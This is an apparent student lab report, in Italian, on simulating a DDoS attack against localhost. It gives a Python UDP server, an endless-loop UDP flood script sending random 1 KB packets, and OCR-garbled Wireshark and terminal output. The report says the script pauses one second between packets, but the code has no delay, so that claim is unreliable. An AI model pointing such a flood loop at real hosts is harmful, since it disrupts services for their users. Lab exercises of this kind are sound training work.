Gelosa Matteo esercizio W7D4

L'esercizio richiedeva di creare un programma in python in grado di simulare un attacco DDos.

Per prima cosa ho creato un programma in grado di simulare un server UDP al mio indirizzo di localhost (127.0.0.1) nonché il server che andrò ad attaccare.

```
server_udp.py > ...
     import socket
 1
 2
 3
     indirizzo_server = '127.0.0.1' #localhost
     porta_server = 7777
     with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as server_socket:
         server_socket.bind((indirizzo_server, porta_server))
 8
         print(f"In ascolto su {indirizzo_server}: {porta_server}")
 9
10
         while True:
11
              dati, indirizzo_client = server_socket.recvfrom(1024)
12
```

Grazie alla libreria socket ho appunto creato un socket che mi ha permesso di comunicare con il server, ho impostato il mio indirizzo di localhost ed una porta casuale da me impostata per mettermi in ascolto. Una volta avviato il messaggio che appariva sul terminare era il seguente:

```
(kali@ kali)-[~/Desktop/codice]
$ python server_udp.py
In ascolto su 127.0.0.1: 7777
```

Successivamente ho creato un programma per effettuare l'attacco doss.

Ho importato la libreria time per far si che tra un invio di un pacchetto e l'altro passasse un secondo. La libreria random invece mi è tornata utile per far si che i pacchetti inviati fossero numeri casuali dallo 0 al 255. Ho impostato il range a 1024 in modo che il pacchetto inviato fosse di 1kb.

```
DDos.py X
home > kali > Desktop > codice > ♦ DDos.py > ...
      import socket
  2
      import random
      import time
  3
      indirizzo_server = '127.0.0.1'
      portaudp_server = 7777
      while True:
  8
          with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as client_socket:
  9
              invio_dati = bytes([random.randint(0, 255) for _ in range(1024)])
 10
              client_socket.sendto(invio_dati, (indirizzo_server, portaudp_server))
 11
```

Ovviamente come indirizzo server ho impostato il mio indirizzo di localhost e la porta specificata in precedenza.

Successivamente, per controllare l'effettivo funzionamento del programma ho usato Wireshark per vedere tutti i pacchetti sull' indirizzo di loopback.

No.	Time	Source	Destination		Length Inf										
	08 25.828641575		127.0.0.1	UDP				Len=1024							
	09 25.828643116		127.0.0.1	ICMP				ınreachable	(Port ι	ınreachab Le	?)				
	510 25.829394072 511 25.829395573		127.0.0.1 127.0.0.1	UDP ICMP				Len=1024 Inreachable	(Dort	unrooohoh]	. \				
	312 25.830146089		127.0.0.1	UDP				Len=1024	(Port t	inreachab te	:)				
	613 25.830140089		127.0.0.1	ICMP				inreachable	(Port i	inreachahl	.)				
	314 25.830935805		127.0.0.1	UDP				Len=1024	(1016	ini cachab ti	•)				
	615 25.830937916		127.0.0.1	ICMP				inreachable	(Port ι	ınreachable	:)				
	316 25.831686101		127.0.0.1	UDP				Len=1024	(, , , , ,		· /				
656	317 25.831687651	127.0.0.1	127.0.0.1	ICMP	590 De	stina	tion u	ınreachable	(Port ι	ınreachable	;)				
656	318 25.832435406	127.0.0.1	127.0.0.1	UDP	1066 36	190 -	7777	Len=1024							
	319 25.832436936		127.0.0.1	ICMP				ınreachable	(Port ι	ınreachable	;)				
	320 25.833187892		127.0.0.1	UDP				Len=1024							
	321 25.833189373		127.0.0.1	ICMP				ınreachable	(Port ι	ınreachable	:)				
	322 25.833942690		127.0.0.1	UDP				Len=1024	/B						
	323 25.833944121		127.0.0.1	ICMP				ınreachable	Port ι	inreachable	?)				
	324 25.834690065		127.0.0.1	UDP ICMP				Len=1024	(Dort	unraaahah l	. \				
	525 25.834691445 526 25.835464633		127.0.0.1 127.0.0.1	UDP				inreachable Len=1024	(Port t	im eachab te	;)				
	320 23.835464633 327 25.835466594		127.0.0.1	ICMP				inreachable	(Port i	inreachahl	.)				
	328 25.836218420		127.0.0.1	UDP				Len=1024	(1016	ini cachab ti	•)			_	
	329 25.836221152		127.0.0.1	ICMP				ınreachable	(Port i	ınreachable	•)				
	330 25.836971718		127.0.0.1	UDP				Len=1024	(1010	in odonab c	,,				
	31 25.836973169		127.0.0.1	ICMP				ınreachable	(Port ι	unreachable	e)				
656	332 25.837720613	127.0.0.1	127.0.0.1	UDP	1066 40	676 -	7777	Len=1024							
656	33 25.837723154	127.0.0.1	127.0.0.1	ICMP	590 De	stina	tion u	ınreachable	(Port ι	ınreachable	:)				
656	34 25.838472280	127.0.0.1	127.0.0.1	UDP	1066 35	596 -	7777	Len=1024							
	35 25.838473710		127.0.0.1	ICMP				ınreachable	(Port ι	ınreachable	e)				
	336 25.839244197		127.0.0.1	UDP				Len=1024							
656	337 25.839246178	127.0.0.1	127.0.0.1	ICMP	590 De	stina	ition u	ınreachable	(Port ι	ınreachable	e)				
→ Fran	ne 1: 1066 bytes	on wire (8528 bits),	1066 bytes captured	(8528 bit	s) on int	erfac	e lo,	id 0					0000	00 00	9 99 99
→ Ethe	ernet II, Src: 00	0:00:00_00:00:00 (00:0	00:00:00:00:00), Dst:	00:00:00	_00:00:00	(00:	00:00:	(00:00:00)					0010	04 1c	63 12
		ersion 4, Src: 127.0.0											0020		L bb fa
		col, Src Port: 48122,	Dst Port: 7777										0030		5 33 f6
→ Data	(1024 bytes)					,							0040	от еа	a 6e 7b
•						<u> </u>				kali@kali: ~/[esktop/codice				
File A	ctions Edit View	Help				File	Action	ns Edit Viev	v Help						
					- 1			.py genera		v sorvor i	do ny toet				
(ka]	li⊛kali)-[~/Deskt	op/codicel			- 1	DDUS			cor_psw.p	y server_c	up.py test				
L\$ ls					- 1		kali⊛	cali)-[~/Des	ktop/codi	ice]					
DDos.py	/ es.py generato				- 1			server_udp.							
					- 1			su 127.0.0.							
	li⊕kali)-[~/Deskt thon DDos.py	op/codice]			- 1			(most recent			do ou! lie	ne 14, in <mod< td=""><td></td><td></td><td></td></mod<>			
_ ⇒ ру	inon bbos.py				- 1							.decode('utf-8			
							prznc()				^^^^				
					- 1	Unic te									
							kali⊕⊦	cali)-[~/Des	ktop/codi	ce					
					ı	<u></u> _\$									

Come si può notare i pacchetti arrivano un numero infinito di volte verso l'indirizzo selezionato, (1024 bytes).